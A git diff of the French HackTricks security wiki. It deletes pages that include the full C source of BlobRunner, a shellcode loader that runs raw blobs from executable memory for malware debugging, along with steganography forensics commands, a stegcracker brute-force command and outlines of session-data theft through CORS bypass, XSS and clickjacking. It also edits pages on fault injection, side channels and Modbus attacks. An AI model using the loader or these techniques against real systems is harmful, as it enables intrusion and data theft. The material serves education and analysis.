`retn`**, car le retour de la fonction dans ce cas peut appeler l'adresse juste poussée sur la pile avant de l'appeler. -- Mettez un **point d'arrêt** sur `VirtualAlloc` car cela alloue de l'espace en mémoire où le programme peut écrire du code dépacké. "Exécuter jusqu'au code utilisateur" ou utilisez F8 pour **obtenir la valeur à l'intérieur de EAX** après l'exécution de la fonction et "**suivez cette adresse dans le dump**". Vous ne savez jamais si c'est la région où le code dépacké va être sauvegardé. -- **`VirtualAlloc`** avec la valeur "**40**" comme argument signifie Lire+Écrire+Exécuter (certaines instructions nécessitant une exécution vont être copiées ici). -- **Lors du dépackaging** du code, il est normal de trouver **plusieurs appels** à des **opérations arithmétiques** et des fonctions comme **`memcopy`** ou **`Virtual`**`Alloc`. Si vous vous trouvez dans une fonction qui apparemment ne fait que des opérations arithmétiques et peut-être quelques `memcopy`, la recommandation est d'essayer de **trouver la fin de la fonction** (peut-être un JMP ou un appel à un registre) **ou** au moins l'**appel à la dernière fonction** et d'exécuter jusqu'à là car le code n'est pas intéressant. -- Lors du dépackaging du code, **notez** chaque fois que vous **changez de région mémoire** car un changement de région mémoire peut indiquer le **début du code dépacké**. Vous pouvez facilement dumper une région mémoire en utilisant Process Hacker (processus --> propriétés --> mémoire). -- En essayant de dépacker le code, une bonne façon de **savoir si vous travaillez déjà avec le code dépacké** (donc vous pouvez simplement le dumper) est de **vérifier les chaînes du binaire**. Si à un moment donné vous effectuez un saut (peut-être en changeant la région mémoire) et que vous remarquez que **beaucoup plus de chaînes ont été ajoutées**, alors vous pouvez savoir **que vous travaillez avec le code dépacké**.\ -Cependant, si le packer contient déjà beaucoup de chaînes, vous pouvez voir combien de chaînes contiennent le mot "http" et voir si ce nombre augmente. -- Lorsque vous dumpez un exécutable d'une région de mémoire, vous pouvez corriger certains en-têtes en utilisant [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing/reversing-tools/blobrunner.md b/src/reversing/reversing-tools/blobrunner.md deleted file mode 100644 index 90ca98567..000000000 --- a/src/reversing/reversing-tools/blobrunner.md +++ /dev/null @@ -1,207 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -La seule ligne modifiée du [code original](https://github.com/OALabs/BlobRunner) est la ligne 10. Pour le compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, de copier et coller le code et de le construire**. -```c -#include -#include -#include - -#ifdef _WIN64 -#include -#endif - -// Define bool -#pragma warning(disable:4996) -#define true 1 -#define false 0 - -const char* _version = "0.0.5"; - -const char* _banner = " __________.__ ___. __________\n" -" \\______ \\ | ____\\_ |__\\______ \\__ __ ____ ____ ___________ \n" -" | | _/ | / _ \\| __ \\| _/ | \\/ \\ / \\_/ __ \\_ __ \\ \n" -" | | \\ |_( <_> ) \\_\\ \\ | \\ | / | \\ | \\ ___/| | \\/ \n" -" |______ /____/\\____/|___ /____|_ /____/|___| /___| /\\___ >__| \n" -" \\/ \\/ \\/ \\/ \\/ \\/ \n\n" -" %s \n\n"; - - -void banner() { -system("cls"); -printf(_banner, _version); -return; -} - -LPVOID process_file(char* inputfile_name, bool jit, int offset, bool debug) { -LPVOID lpvBase; -FILE* file; -unsigned long fileLen; -char* buffer; -DWORD dummy; - -file = fopen(inputfile_name, "rb"); - -if (!file) { -printf(" [!] Error: Unable to open %s\n", inputfile_name); - -return (LPVOID)NULL; -} - -printf(" [*] Reading file...\n"); -fseek(file, 0, SEEK_END); -fileLen = ftell(file); //Get Length - -printf(" [*] File Size: 0x%04x\n", fileLen); -fseek(file, 0, SEEK_SET); //Reset - -fileLen += 1; - -buffer = (char*)malloc(fileLen); //Create Buffer -fread(buffer, fileLen, 1, file); -fclose(file); - -printf(" [*] Allocating Memory..."); - -lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40); - -printf(".Allocated!\n"); -printf(" [*] |-Base: 0x%08x\n", (int)(size_t)lpvBase); -printf(" [*] Copying input data...\n"); - -CopyMemory(lpvBase, buffer, fileLen); -return lpvBase; -} - -void execute(LPVOID base, int offset, bool nopause, bool jit, bool debug) -{ -LPVOID shell_entry; - -#ifdef _WIN64 -DWORD thread_id; -HANDLE thread_handle; -const char msg[] = " [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\n"; -#else -const char msg[] = " [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\n"; -#endif - -shell_entry = (LPVOID)((UINT_PTR)base + offset); - -#ifdef _WIN64 - -printf(" [*] Creating Suspended Thread...\n"); -thread_handle = CreateThread( -NULL, // Attributes -0, // Stack size (Default) -shell_entry, // Thread EP -NULL, // Arguments -0x4, // Create Suspended -&thread_id); // Thread identifier - -if (thread_handle == NULL) { -printf(" [!] Error Creating thread..."); -return; -} -printf(" [*] Created Thread: [%d]\n", thread_id); -printf(" [*] Thread Entry: 0x%016x\n", (int)(size_t)shell_entry); - -#endif - -if (nopause == false) { -printf("%s", msg); -getchar(); -} -else -{ -if (jit == true) { -// Force an exception by making the first byte not executable. -// This will cause -DWORD oldp; - -printf(" [*] Removing EXECUTE access to trigger exception...\n"); - -VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp); -} -} - -#ifdef _WIN64 -printf(" [*] Resuming Thread..\n"); -ResumeThread(thread_handle); -#else -printf(" [*] Entry: 0x%08x\n", (int)(size_t)shell_entry); -printf(" [*] Jumping to shellcode\n"); -__asm jmp shell_entry; -#endif -} - -void print_help() { -printf(" [!] Error: No file!\n\n"); -printf(" Required args: \n\n"); -printf(" Optional Args:\n"); -printf(" --offset The offset to jump into.\n"); -printf(" --nopause Don't pause before jumping to shellcode. Danger!!! \n"); -printf(" --jit Forces an exception by removing the EXECUTE permission from the alloacted memory.\n"); -printf(" --debug Verbose logging.\n"); -printf(" --version Print version and exit.\n\n"); -} - -int main(int argc, char* argv[]) -{ -LPVOID base; -int i; -int offset = 0; -bool nopause = false; -bool debug = false; -bool jit = false; -char* nptr; - -banner(); - -if (argc < 2) { -print_help(); -return -1; -} - -printf(" [*] Using file: %s \n", argv[1]); - -for (i = 2; i < argc; i++) { -if (strcmp(argv[i], "--offset") == 0) { -printf(" [*] Parsing offset...\n"); -i = i + 1; -if (strncmp(argv[i], "0x", 2) == 0) { -offset = strtol(argv[i], &nptr, 16); -} -else { -offset = strtol(argv[i], &nptr, 10); -} -} -else if (strcmp(argv[i], "--nopause") == 0) { -nopause = true; -} -else if (strcmp(argv[i], "--jit") == 0) { -jit = true; -nopause = true; -} -else if (strcmp(argv[i], "--debug") == 0) { -debug = true; -} -else if (strcmp(argv[i], "--version") == 0) { -printf("Version: %s", _version); -} -else { -printf("[!] Warning: Unknown arg: %s\n", argv[i]); -} -} - -base = process_file(argv[1], jit, offset, debug); -if (base == NULL) { -printf(" [!] Exiting..."); -return -1; -} -printf(" [*] Using offset: 0x%08x\n", offset); -execute(base, offset, nopause, jit, debug); -printf("Pausing - Press any key to quit.\n"); -getchar(); -return 0; -} -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md deleted file mode 100644 index 85f352c47..000000000 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ /dev/null @@ -1,13 +0,0 @@ -# Vol de la divulgation d'informations sensibles à partir d'un Web - -{{#include ./banners/hacktricks-training.md}} - -Si à un moment donné vous trouvez une **page web qui vous présente des informations sensibles basées sur votre session** : Peut-être qu'elle reflète des cookies, ou imprime des détails de carte de crédit ou toute autre information sensible, vous pouvez essayer de les voler.\ -Voici les principales méthodes que vous pouvez essayer d'atteindre : - -- [**CORS bypass**](pentesting-web/cors-bypass.md) : Si vous pouvez contourner les en-têtes CORS, vous pourrez voler les informations en effectuant une requête Ajax pour une page malveillante. -- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html) : Si vous trouvez une vulnérabilité XSS sur la page, vous pourrez peut-être en abuser pour voler les informations. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html) : Si vous ne pouvez pas injecter de balises XSS, vous pourrez toujours voler les informations en utilisant d'autres balises HTML régulières. -- [**Clickjaking**](pentesting-web/clickjacking.md) : S'il n'y a pas de protection contre cette attaque, vous pourrez peut-être tromper l'utilisateur pour qu'il vous envoie les données sensibles (un exemple [ici](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/stego/esoteric-languages.md b/src/stego/esoteric-languages.md deleted file mode 100644 index 10185e5b2..000000000 --- a/src/stego/esoteric-languages.md +++ /dev/null @@ -1,65 +0,0 @@ -# Langages ésotériques - -{{#include ../banners/hacktricks-training.md}} - -## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) - -Consultez ce wiki pour rechercher d'autres langages ésotériques - -## Malbolge -``` -('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= -``` -[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) - -## npiet - -![](<../images/image (146).png>) - -[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) - -## Rockstar -``` -Midnight takes your heart and your soul -While your heart is as high as your soul -Put your heart without your soul into your heart - -Give back your heart - - -Desire is a lovestruck ladykiller -My world is nothing -Fire is ice -Hate is water -Until my world is Desire, -Build my world up -If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing -Shout "FizzBuzz!" -Take it to the top - -If Midnight taking my world, Fire is nothing -Shout "Fizz!" -Take it to the top - -If Midnight taking my world, Hate is nothing -Say "Buzz!" -Take it to the top - -Whisper my world -``` -{{#ref}} -https://codewithrockstar.com/ -{{#endref}} - -## PETOOH -``` -KoKoKoKoKoKoKoKoKoKo Kud-Kudah -KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah -KoKoKo Kud-Kudah -kOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah -KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek -kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO -Kukarek -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/stego/stego-tricks.md b/src/stego/stego-tricks.md deleted file mode 100644 index 9aa50fe5a..000000000 --- a/src/stego/stego-tricks.md +++ /dev/null @@ -1,194 +0,0 @@ -# Stego Tricks - -{{#include ../banners/hacktricks-training.md}} - -## **Extraction de données à partir de fichiers** - -### **Binwalk** - -Un outil pour rechercher des fichiers binaires à la recherche de fichiers et de données cachés intégrés. Il est installé via `apt` et sa source est disponible sur [GitHub](https://github.com/ReFirmLabs/binwalk). -```bash -binwalk file # Displays the embedded data -binwalk -e file # Extracts the data -binwalk --dd ".*" file # Extracts all data -``` -### **Foremost** - -Récupère des fichiers en fonction de leurs en-têtes et pieds de page, utile pour les images png. Installé via `apt` avec sa source sur [GitHub](https://github.com/korczis/foremost). -```bash -foremost -i file # Extracts data -``` -### **Exiftool** - -Aide à visualiser les métadonnées des fichiers, disponible [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). -```bash -exiftool file # Shows the metadata -``` -### **Exiv2** - -Semblable à exiftool, pour la visualisation des métadonnées. Installable via `apt`, source sur [GitHub](https://github.com/Exiv2/exiv2), et a un [site officiel](http://www.exiv2.org/). -```bash -exiv2 file # Shows the metadata -``` -### **Fichier** - -Identifiez le type de fichier avec lequel vous traitez. - -### **Chaînes** - -Extrait des chaînes lisibles des fichiers, en utilisant divers paramètres d'encodage pour filtrer la sortie. -```bash -strings -n 6 file # Extracts strings with a minimum length of 6 -strings -n 6 file | head -n 20 # First 20 strings -strings -n 6 file | tail -n 20 # Last 20 strings -strings -e s -n 6 file # 7bit strings -strings -e S -n 6 file # 8bit strings -strings -e l -n 6 file # 16bit strings (little-endian) -strings -e b -n 6 file # 16bit strings (big-endian) -strings -e L -n 6 file # 32bit strings (little-endian) -strings -e B -n 6 file # 32bit strings (big-endian) -``` -### **Comparison (cmp)** - -Utile pour comparer un fichier modifié avec sa version originale trouvée en ligne. -```bash -cmp original.jpg stego.jpg -b -l -``` -## **Extraction de données cachées dans le texte** - -### **Données cachées dans les espaces** - -Des caractères invisibles dans des espaces apparemment vides peuvent cacher des informations. Pour extraire ces données, visitez [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). - -## **Extraction de données à partir d'images** - -### **Identification des détails d'image avec GraphicMagick** - -[GraphicMagick](https://imagemagick.org/script/download.php) sert à déterminer les types de fichiers image et à identifier une éventuelle corruption. Exécutez la commande ci-dessous pour inspecter une image : -```bash -./magick identify -verbose stego.jpg -``` -Pour tenter de réparer une image endommagée, ajouter un commentaire dans les métadonnées pourrait aider : -```bash -./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg -``` -### **Steghide pour la dissimulation de données** - -Steghide facilite la dissimulation de données dans des fichiers `JPEG, BMP, WAV et AU`, capable d'incorporer et d'extraire des données chiffrées. L'installation est simple en utilisant `apt`, et son [code source est disponible sur GitHub](https://github.com/StefanoDeVuono/steghide). - -**Commandes :** - -- `steghide info file` révèle si un fichier contient des données cachées. -- `steghide extract -sf file [--passphrase password]` extrait les données cachées, le mot de passe est optionnel. - -Pour l'extraction basée sur le web, visitez [ce site web](https://futureboy.us/stegano/decinput.html). - -**Attaque par bruteforce avec Stegcracker :** - -- Pour tenter de craquer le mot de passe sur Steghide, utilisez [stegcracker](https://github.com/Paradoxis/StegCracker.git) comme suit : -```bash -stegcracker [] -``` -### **zsteg pour les fichiers PNG et BMP** - -zsteg se spécialise dans la découverte de données cachées dans les fichiers PNG et BMP. L'installation se fait via `gem install zsteg`, avec sa [source sur GitHub](https://github.com/zed-0xff/zsteg). - -**Commandes :** - -- `zsteg -a file` applique toutes les méthodes de détection sur un fichier. -- `zsteg -E file` spécifie une charge utile pour l'extraction de données. - -### **StegoVeritas et Stegsolve** - -**stegoVeritas** vérifie les métadonnées, effectue des transformations d'image et applique le brute forcing LSB parmi d'autres fonctionnalités. Utilisez `stegoveritas.py -h` pour une liste complète des options et `stegoveritas.py stego.jpg` pour exécuter tous les contrôles. - -**Stegsolve** applique divers filtres de couleur pour révéler des textes ou messages cachés dans les images. Il est disponible sur [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). - -### **FFT pour la détection de contenu caché** - -Les techniques de Transformée de Fourier Rapide (FFT) peuvent révéler du contenu dissimulé dans les images. Les ressources utiles incluent : - -- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) -- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [FFTStegPic sur GitHub](https://github.com/0xcomposure/FFTStegPic) - -### **Stegpy pour les fichiers audio et image** - -Stegpy permet d'incorporer des informations dans des fichiers image et audio, prenant en charge des formats comme PNG, BMP, GIF, WebP et WAV. Il est disponible sur [GitHub](https://github.com/dhsdshdhk/stegpy). - -### **Pngcheck pour l'analyse des fichiers PNG** - -Pour analyser les fichiers PNG ou valider leur authenticité, utilisez : -```bash -apt-get install pngcheck -pngcheck stego.png -``` -### **Outils supplémentaires pour l'analyse d'images** - -Pour une exploration plus approfondie, envisagez de visiter : - -- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) -- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) -- [Outguess](https://github.com/resurrecting-open-source-projects/outguess) -- [OpenStego](https://www.openstego.com/) -- [DIIT](https://diit.sourceforge.net/) - -## **Extraction de données à partir d'audios** - -**La stéganographie audio** offre une méthode unique pour dissimuler des informations dans des fichiers sonores. Différents outils sont utilisés pour intégrer ou récupérer du contenu caché. - -### **Steghide (JPEG, BMP, WAV, AU)** - -Steghide est un outil polyvalent conçu pour cacher des données dans des fichiers JPEG, BMP, WAV et AU. Des instructions détaillées sont fournies dans la [documentation des astuces stego](stego-tricks.md#steghide). - -### **Stegpy (PNG, BMP, GIF, WebP, WAV)** - -Cet outil est compatible avec une variété de formats, y compris PNG, BMP, GIF, WebP et WAV. Pour plus d'informations, référez-vous à [la section de Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). - -### **ffmpeg** - -ffmpeg est crucial pour évaluer l'intégrité des fichiers audio, mettant en évidence des informations détaillées et identifiant toute anomalie. -```bash -ffmpeg -v info -i stego.mp3 -f null - -``` -### **WavSteg (WAV)** - -WavSteg excelle à dissimuler et extraire des données dans des fichiers WAV en utilisant la stratégie du bit de poids faible. Il est accessible sur [GitHub](https://github.com/ragibson/Steganography#WavSteg). Les commandes incluent : -```bash -python3 WavSteg.py -r -b 1 -s soundfile -o outputfile - -python3 WavSteg.py -r -b 2 -s soundfile -o outputfile -``` -### **Deepsound** - -Deepsound permet le chiffrement et la détection d'informations dans des fichiers audio en utilisant AES-256. Il peut être téléchargé depuis [la page officielle](http://jpinsoft.net/deepsound/download.aspx). - -### **Sonic Visualizer** - -Un outil inestimable pour l'inspection visuelle et analytique des fichiers audio, Sonic Visualizer peut révéler des éléments cachés indétectables par d'autres moyens. Visitez le [site officiel](https://www.sonicvisualiser.org/) pour en savoir plus. - -### **DTMF Tones - Dial Tones** - -La détection des tons DTMF dans les fichiers audio peut être réalisée grâce à des outils en ligne tels que [ce détecteur DTMF](https://unframework.github.io/dtmf-detect/) et [DialABC](http://dialabc.com/sound/detect/index.html). - -## **Other Techniques** - -### **Binary Length SQRT - QR Code** - -Les données binaires qui se carrent pour donner un nombre entier pourraient représenter un code QR. Utilisez ce snippet pour vérifier : -```python -import math -math.sqrt(2500) #50 -``` -Pour la conversion binaire en image, consultez [dcode](https://www.dcode.fr/binary-image). Pour lire les codes QR, utilisez [ce lecteur de codes-barres en ligne](https://online-barcode-reader.inliteresearch.com/). - -### **Traduction en Braille** - -Pour traduire le Braille, le [Branah Braille Translator](https://www.branah.com/braille-translator) est une excellente ressource. - -## **Références** - -- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) -- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/6881-udp-pentesting-bittorrent.md b/src/todo/6881-udp-pentesting-bittorrent.md deleted file mode 100644 index b58833f93..000000000 --- a/src/todo/6881-udp-pentesting-bittorrent.md +++ /dev/null @@ -1,3 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/fault_injection_attacks.md b/src/todo/hardware-hacking/fault_injection_attacks.md index 03eea8660..c94afd894 100644 --- a/src/todo/hardware-hacking/fault_injection_attacks.md +++ b/src/todo/hardware-hacking/fault_injection_attacks.md @@ -1,5 +1,9 @@ # Attaques par injection de fautes -Les attaques par injection de fautes incluent l'introduction de perturbations externes dans des circuits électroniques pour influencer leur comportement, ce qui peut entraîner la divulgation d'informations ou même contourner certaines restrictions dans le circuit. Ces attaques ouvrent de nombreuses possibilités pour attaquer des circuits électroniques. Cette attaque est également appelée glitching des circuits électroniques. +{{#include /banners/hacktricks-training.md}} + +Les attaques par injection de fautes consistent à introduire des perturbations externes dans des circuits électroniques pour influencer leur comportement, ce qui peut entraîner la divulgation d'informations ou même contourner certaines restrictions dans le circuit. Ces attaques ouvrent de nombreuses possibilités pour attaquer des circuits électroniques. Cette attaque est également appelée glitching des circuits électroniques. Il existe de nombreuses méthodes et moyens pour injecter des fautes dans un circuit électronique. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/side_channel_analysis.md b/src/todo/hardware-hacking/side_channel_analysis.md index e1ec20584..b7011a48f 100644 --- a/src/todo/hardware-hacking/side_channel_analysis.md +++ b/src/todo/hardware-hacking/side_channel_analysis.md @@ -1,7 +1,11 @@ # Attaques par Analyse de Canal Latéral -Les Attaques par Analyse de Canal Latéral se réfèrent à la détermination des informations d'un appareil ou d'une entité par un autre canal ou source qui a une influence indirecte sur celui-ci et dont les informations peuvent en être extraites. Cela peut être mieux expliqué par un exemple : +{{#include /banners/hacktricks-training.md}} -Analyser les vibrations dans des feuilles de verre qui sont près de la source sonore, mais la source sonore n'est pas accessible. Les vibrations dans le verre sont influencées par la source sonore et si elles sont surveillées et analysées, le son peut être décodé et interprété. +Les attaques par Analyse de Canal Latéral se réfèrent à la détermination des informations d'un appareil ou d'une entité par un autre canal ou source qui a une influence indirecte sur celui-ci et dont les informations peuvent en être extraites. Cela peut être mieux expliqué par un exemple : -Ces attaques sont très populaires en cas de fuite de données telles que des clés privées ou pour trouver des opérations dans les processeurs. Un circuit électronique a beaucoup de canaux par lesquels des informations sont constamment fuites. La surveillance et l'analyse peuvent être utiles pour divulguer beaucoup d'informations sur le circuit et ses composants internes. +Analyser les vibrations dans des feuilles de verre proches de la source sonore, mais la source sonore n'est pas accessible. Les vibrations dans le verre sont influencées par la source sonore et, si elles sont surveillées et analysées, le son peut être décodé et interprété. + +Ces attaques sont très populaires en cas de fuite de données telles que des clés privées ou pour trouver des opérations dans les processeurs. Un circuit électronique a beaucoup de canaux par lesquels des informations sont constamment divulguées. La surveillance et l'analyse peuvent être utiles pour révéler beaucoup d'informations sur le circuit et ses composants internes. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/industrial-control-systems-hacking/README.md b/src/todo/industrial-control-systems-hacking/README.md index a2eb4bdc8..47ab55f62 100644 --- a/src/todo/industrial-control-systems-hacking/README.md +++ b/src/todo/industrial-control-systems-hacking/README.md @@ -1,6 +1,8 @@ # Hacking des Systèmes de Contrôle Industriels -## À propos de cette section +{{#include /banners/hacktricks-training.md}} + +## À Propos de Cette Section Cette section contient tout sur les Systèmes de Contrôle Industriels, y compris des concepts ainsi que des méthodologies pour les hacker avec divers problèmes de sécurité qui persistent en eux. @@ -8,8 +10,10 @@ Les Systèmes de Contrôle Industriels sont partout, car les industries sont vit Il est devenu important de sécuriser ces systèmes, car les endommager peut coûter cher et même des vies dans le pire des cas. Pour comprendre la sécurité des Systèmes de Contrôle Industriels, il est nécessaire de connaître leurs internes. -Étant donné que les Systèmes de Contrôle Industriels sont installés selon des normes établies, connaître chaque composant aiderait à interconnecter tous les autres mécanismes dans le système de contrôle. L'installation de ces dispositifs comme les PLC et les systèmes SCADA est différente dans diverses industries, d'où l'importance de la collecte d'informations. +Étant donné que les Systèmes de Contrôle Industriels sont installés selon des normes établies, connaître chaque composant aiderait à interconnecter tous les autres mécanismes dans le système de contrôle. L'installation de ces dispositifs comme les PLC et les systèmes SCADA est différente dans diverses industries, donc la collecte d'informations est critique. -Les Systèmes de Contrôle Industriels peuvent parfois être compliqués et nécessitent donc beaucoup de patience pour faire quoi que ce soit. Tout est une question de sondage et de reconnaissance avant de planifier des attaques et de développer des exploits. +Les Systèmes de Contrôle Industriels peuvent être compliqués par moments et nécessitent donc beaucoup de patience pour faire quoi que ce soit. Tout est une question de sondage et de reconnaissance avant de planifier des attaques et de développer des exploits. Ces techniques peuvent également être utilisées pour se protéger contre les attaques et le blue teaming pour les systèmes de contrôle industriels. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/industrial-control-systems-hacking/modbus.md b/src/todo/industrial-control-systems-hacking/modbus.md index 194600a20..1c376bb1b 100644 --- a/src/todo/industrial-control-systems-hacking/modbus.md +++ b/src/todo/industrial-control-systems-hacking/modbus.md @@ -1,14 +1,16 @@ # Le protocole Modbus +{{#include /banners/hacktricks-training.md}} + ## Introduction au protocole Modbus Le protocole Modbus est un protocole largement utilisé dans l'automatisation industrielle et les systèmes de contrôle. Modbus permet la communication entre divers dispositifs tels que les contrôleurs logiques programmables (PLC), les capteurs, les actionneurs et d'autres dispositifs industriels. Comprendre le protocole Modbus est essentiel car c'est le protocole de communication le plus utilisé dans les ICS et il présente une grande surface d'attaque potentielle pour l'écoute et même l'injection de commandes dans les PLC. -Ici, les concepts sont énoncés point par point, fournissant le contexte du protocole et sa nature de fonctionnement. Le plus grand défi en matière de sécurité des systèmes ICS est le coût de mise en œuvre et de mise à niveau. Ces protocoles et normes ont été conçus au début des années 80 et 90, et sont encore largement utilisés. Étant donné qu'une industrie dispose de nombreux dispositifs et connexions, la mise à niveau des dispositifs est très difficile, ce qui donne aux hackers un avantage en matière de gestion de protocoles obsolètes. Les attaques sur Modbus sont pratiquement inévitables, car il sera utilisé sans mise à niveau, son fonctionnement étant critique pour l'industrie. +Ici, les concepts sont énoncés point par point, fournissant le contexte du protocole et sa nature de fonctionnement. Le plus grand défi en matière de sécurité des systèmes ICS est le coût de mise en œuvre et de mise à niveau. Ces protocoles et normes ont été conçus au début des années 80 et 90, et sont encore largement utilisés. Étant donné qu'une industrie possède de nombreux dispositifs et connexions, la mise à niveau des dispositifs est très difficile, ce qui donne aux hackers un avantage en matière de gestion des protocoles obsolètes. Les attaques sur Modbus sont pratiquement inévitables, car il sera utilisé sans mise à niveau, son fonctionnement étant critique pour l'industrie. ## L'architecture Client-Serveur -Le protocole Modbus est généralement utilisé dans une architecture Client-Serveur où un dispositif maître (client) initie la communication avec un ou plusieurs dispositifs esclaves (serveurs). Cela est également appelé architecture Maître-Esclave, qui est largement utilisée en électronique et IoT avec SPI, I2C, etc. +Le protocole Modbus est généralement utilisé dans une architecture Client-Serveur où un dispositif maître (client) initie la communication avec un ou plusieurs dispositifs esclaves (serveurs). Cela est également appelé architecture Maître-Esclave, qui est largement utilisée en électronique et dans l'IoT avec SPI, I2C, etc. ## Versions Série et Ethernet @@ -20,7 +22,7 @@ Les données sont transmises dans le protocole Modbus sous forme ASCII ou binair ## Codes de fonction -Le protocole ModBus fonctionne avec la transmission de codes de fonction spécifiques qui sont utilisés pour faire fonctionner les PLC et divers dispositifs de contrôle. Cette partie est importante à comprendre, car des attaques de répétition peuvent être effectuées en retransmettant des codes de fonction. Les dispositifs hérités ne prennent en charge aucune cryptographie pour la transmission des données et ont généralement de longs fils qui les connectent, ce qui entraîne une manipulation de ces fils et la capture/injection de données. +Le protocole ModBus fonctionne avec la transmission de codes de fonction spécifiques qui sont utilisés pour faire fonctionner les PLC et divers dispositifs de contrôle. Cette partie est importante à comprendre, car des attaques par répétition peuvent être effectuées en retransmettant des codes de fonction. Les dispositifs hérités ne prennent pas en charge le chiffrement des transmissions de données et ont généralement de longs fils qui les connectent, ce qui entraîne des manipulations de ces fils et la capture/injection de données. ## Adressage de Modbus @@ -28,4 +30,6 @@ Chaque dispositif du réseau a une adresse unique qui est essentielle pour la co De plus, Modbus met également en œuvre des vérifications d'erreur pour garantir l'intégrité des données transmises. Mais surtout, Modbus est une norme ouverte et tout le monde peut l'implémenter dans ses dispositifs. Cela a permis à ce protocole de devenir une norme mondiale et il est largement répandu dans l'industrie de l'automatisation industrielle. -En raison de son utilisation à grande échelle et du manque de mises à niveau, attaquer Modbus offre un avantage significatif avec sa surface d'attaque. Les ICS dépendent fortement de la communication entre les dispositifs et toute attaque menée contre eux peut être dangereuse pour le fonctionnement des systèmes industriels. Des attaques telles que la répétition, l'injection de données, l'écoute de données et le leak, le déni de service, la falsification de données, etc. peuvent être menées si le moyen de transmission est identifié par l'attaquant. +En raison de son utilisation à grande échelle et du manque de mises à niveau, attaquer Modbus offre un avantage significatif avec sa surface d'attaque. Les ICS dépendent fortement de la communication entre les dispositifs et toute attaque contre eux peut être dangereuse pour le fonctionnement des systèmes industriels. Des attaques telles que la répétition, l'injection de données, l'écoute de données et les fuites, la déni de service, la falsification de données, etc. peuvent être menées si le moyen de transmission est identifié par l'attaquant. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md index ef265235d..fbe5077db 100644 --- a/src/todo/investment-terms.md +++ b/src/todo/investment-terms.md @@ -1,12 +1,14 @@ # Termes d'Investissement +{{#include /banners/hacktricks-training.md}} + ## Spot C'est le moyen le plus basique de faire du trading. Vous pouvez **indiquer le montant de l'actif et le prix** que vous souhaitez acheter ou vendre, et dès que ce prix est atteint, l'opération est effectuée. En général, vous pouvez également utiliser le **prix du marché actuel** afin d'effectuer la transaction aussi rapidement que possible au prix actuel. -**Stop Loss - Limit** : Vous pouvez également indiquer le montant et le prix des actifs à acheter ou à vendre tout en indiquant un prix inférieur pour acheter ou vendre au cas où il serait atteint (pour stopper les pertes). +**Stop Loss - Limite** : Vous pouvez également indiquer le montant et le prix des actifs à acheter ou à vendre tout en indiquant un prix inférieur pour acheter ou vendre au cas où il serait atteint (pour stopper les pertes). ## Futures @@ -23,9 +25,9 @@ Bien que dans les échanges, cela soit généralement utilisé pour essayer de r ### Couverture avec des Futures -Si un gestionnaire de fonds craint que certaines actions vont baisser, il pourrait prendre une position courte sur certains actifs comme des bitcoins ou des contrats à terme S\&P 500. Cela serait similaire à acheter ou à posséder certains actifs et créer un contrat pour les vendre à un moment futur à un prix plus élevé. +Si un gestionnaire de fonds craint que certaines actions vont baisser, il pourrait prendre une position courte sur certains actifs comme des bitcoins ou des contrats à terme S\&P 500. Cela serait similaire à acheter ou posséder des actifs et créer un contrat pour les vendre à un moment futur à un prix plus élevé. -Dans le cas où le prix baisse, le gestionnaire de fonds gagnera des bénéfices car il vendra les actifs à un prix plus élevé. Si le prix des actifs augmente, le gestionnaire ne gagnera pas ce bénéfice mais il conservera toujours ses actifs. +Dans le cas où le prix baisse, le gestionnaire de fonds gagnera des bénéfices car il vendra les actifs à un prix plus élevé. Si le prix des actifs augmente, le gestionnaire ne gagnera pas ce bénéfice mais il conservera ses actifs. ### Futures Perpétuels @@ -44,18 +46,18 @@ Par conséquent, l'effet de levier permet de contrôler le montant d'argent que ## Différences entre Futures et Options -La principale différence entre les futures et les options est que le contrat est optionnel pour l'acheteur : il peut décider de 